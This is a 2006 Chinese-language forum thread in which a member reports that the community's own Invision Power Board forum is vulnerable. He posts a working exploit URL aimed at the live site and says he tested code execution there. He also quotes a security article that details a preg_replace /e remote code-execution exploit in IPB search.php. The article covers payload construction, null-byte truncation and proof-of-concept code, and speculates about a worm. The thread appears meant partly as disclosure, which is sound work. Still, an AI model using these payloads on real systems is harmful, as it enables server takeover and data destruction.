德国开元华人社区 开元周游

标题: 关于 开元 社区IPB2.0.x论坛的安全 漏洞 [打印本页]

作者: toothy    时间: 6.6.2006 09:00
详 情 查看 <a href='http://forums.invisionpower.com/index.php?showtopic=213374' target='_blank'>http://forums.invisionpower.com/index.php?showtopic=213374</a><br /><br />漏洞页面:<br /><a href='http://www.kaiyuan.de/forum/index.php?act=Search&CODE=show&searchid=e19f63862da1a1d1c7bf109631755506&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00' target='_blank'>http://www.kaiyuan.de/forum/index.php?act=...*?%20//)%23e%00</a>
作者: toothy    时间: 6.6.2006 09:05
<!--emo&--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->  <!--emo&--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->  <!--emo&--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->  <!--emo&--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->  <!--emo&--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->  <!--emo&:)--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo--><br />顺便查了 一 下并且测式了 phpinfo()........<br /><br />只能说管理员失职阿..<br /><br /><br /><!--QuoteBegin--><div class='quotetop'>QUOTE</div><div class='quotemain'><!--QuoteEBegin-->ipb search.php 漏洞分析及思考 <!--emo&:)--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->&nbsp; <!--emo&:)--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->&nbsp; <!--emo&:)--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->&nbsp; <!--emo&:)--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo-->&nbsp; <!--emo&:)--><img src='style_emoticons/<#EMO_DIR#>/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo--> <br /><br />创建时间:2006-05-03<br />文章属性:原创<br />文章提交:HeiGe (hack-520_at_163.com)<br /><br /><br />ipb search.php 漏洞分析及思考<br /><br />Author:SuperHei_[At]_ph4nt0m.org<br />Blog:http://superhei.blogbus.com/<br />Team:http://www.ph4nt0m.org<br />Data: 2006-04-27<br /><br />#############<br />##简单分析###<br />#############<br />该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php&nbsp; 行1258-1262:<br /><br />&nbsp; &nbsp; if ( $this-&gt;ipsclass-&gt;input[&#39;lastdate&#39;] )<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;output = preg_replace( &quot;#(value=[\&quot;&#39;]{$this-&gt;ipsclass-&gt;input[&#39;lastdate&#39;]}[\&quot;&#39;])#i&quot;, &quot;\\1<br /><br />selected=&#39;selected&#39;&quot;, $this-&gt;output );<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; }<br /><br />通过变量input[&#39;lastdate&#39;]注入/e, $this-&gt;output注入shellcode。<br /><br />#############<br />##利用方法###<br />#############<br /><br />注册一个用户,发个贴 内容[shellcode]如下:[<br /><br />s u p e r h e i x x x x x x x x e v a l ( p h p i n f 0 ( ) ) ;&nbsp; //<br /><br />注意最后的;和//之间有一空格<br /><br />然后点“Search”---&#62;Search by Keywords:superheixxxxxxxe v a l [记得选择Show results as posts ]<br /><br />可以得到searchid<br /><a href='http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul' target='_blank'>http://127.0.0.1/ipb215/upload/index.php?a..._in=posts&resul</a><br /><br />t_type=posts&highlite=superheixxxxxxxe v a l<br /><br />然后在后面加一个&lastdate=z|e v a l.*?%20//)%23e%00 也就是[/e]提交就ok了:<br /><br /><a href='http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul' target='_blank'>http://127.0.0.1/ipb215/upload/index.php?a..._in=posts&resul</a><br /><br />t_type=posts&highlite=superheixxxxxxx e v a l&lastdate=z|e v a l.*?%20//)%23e%00<br /><br />#############<br />##分析讨论###<br />#############<br />1.<br /><br /><br />简单分析:<br /><br />该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php&nbsp; 行1258-1262:<br /><br /><br /><br />&nbsp; &nbsp; if ( $this-&gt;ipsclass-&gt;input[&#39;lastdate&#39;] )<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; {<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;output = preg_replace( &quot;#(value=[\&quot;&#39;]{$this-&gt;ipsclass-&gt;input[&#39;lastdate&#39;]}[\&quot;&#39;])#i&quot;, &quot;\\1<br /><br /><br /><br />selected=&#39;selected&#39;&quot;, $this-&gt;output );<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br /><br />&nbsp; &nbsp; &nbsp; &nbsp; }<br /><br />&nbsp; &nbsp; }<br /><br /><br /><br />通过变量input[&#39;lastdate&#39;]注入/e, $this-&gt;output注入shellcode。<br /><br /><br /><br /><br /><br />这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交<br /><br /><br /><br />的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected=&#39;selected&#39; 里面的\\1 为第一参数里正则表达试匹配后的值。归根结底<br /><br /><br /><br />我们提交的shellcode还是在第2个参数执行了。<br /><br /><br /><br />2.<br />注意最后的;和//之间有一空格<br /><br /><br />这个又是为什么呢?因为我们提交的lastdate=z|e v a l.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//<br /><br /><br />3.preg_replace存在null截断漏洞????<br /><br />我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:<br />&lt;?<br />$a=$_GET[a];<br />echo preg_replace(&quot;#(value=[\&quot;&#39;]z|e v a l.*?//)#e{$a}[\&quot;&#39;])#i &quot;,&quot;\\1 &quot;,&quot;heigegegxxxxxxx ev a l(phpinfo());//&quot;);<br />?&gt;<br /><br />我们直接提交http://127.0.0.1/test2.php?a=2出现错误:<br />Warning: Unknown modifier &#39;2&#39; in d:\easyphp\www\test2.php on line 3<br /><br />提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是<br /><br />经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。<br /><br />4.&quot;lastdate=z|e v a l.*?%20//)%23e%00&quot;的构造<br />主要是在this-&gt;output里以e v a l和%20//为标志取\\1 为执行的php代码。<br /><br />5.worm的利用?<br />还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片<br /><br />认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......<br /><br />#############<br />##总结模型###<br />#############<br />1.直接在preg_replace第2个变量执行的模式:<br />&lt;?<br />echo preg_replace(&quot;/test/e&quot;,$h,&quot;jutst test&quot;);<br />?&gt;<br />提交http://127.0.0.1/test/11/preg.php?h=phpinfo()<br />实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞<br /><br />2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:<br />&lt;?<br />echo preg_replace(&quot;/\s*\[php\](.+?)\[\/php\]\s*/ies&quot;, &quot;\\1&quot;, $h);<br />?&gt;<br />superheixxxxxxxeval(phpinfo()); //<br />提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]<br /><!--QuoteEnd--></div><!--QuoteEEnd--><br /><br />来 源:  <a href='http://www.xfocus.net/articles/200605/866.html' target='_blank'>www.xfocus.net</a>
作者: taohui    时间: 6.6.2006 09:49
这个不算什么,用mysql注入把数据全部删除也是很正常的事情!
作者: toothy    时间: 6.6.2006 11:22
<!--QuoteBegin-taohui+06.06.2006, 09:49 --><div class='quotetop'>QUOTE(taohui @ 06.06.2006, 09:49 )</div><div class='quotemain'><!--QuoteEBegin-->这个不算什么,用mysql注入把数据全部删除也是很正常的事情!<br />[right][snapback]998964[/snapback][/right]<br /><!--QuoteEnd--></div><!--QuoteEEnd--><br /><br /><br /> <!--emo&:$--><img src='style_emoticons/<#EMO_DIR#>/embaressed_smile.gif' border='0' style='vertical-align:middle' alt='embaressed_smile.gif' /><!--endemo-->  <!--emo&:$--><img src='style_emoticons/<#EMO_DIR#>/embaressed_smile.gif' border='0' style='vertical-align:middle' alt='embaressed_smile.gif' /><!--endemo-->




欢迎光临 德国开元华人社区 开元周游 (https://forum.kaiyuan.de/) Powered by Discuz! X3.2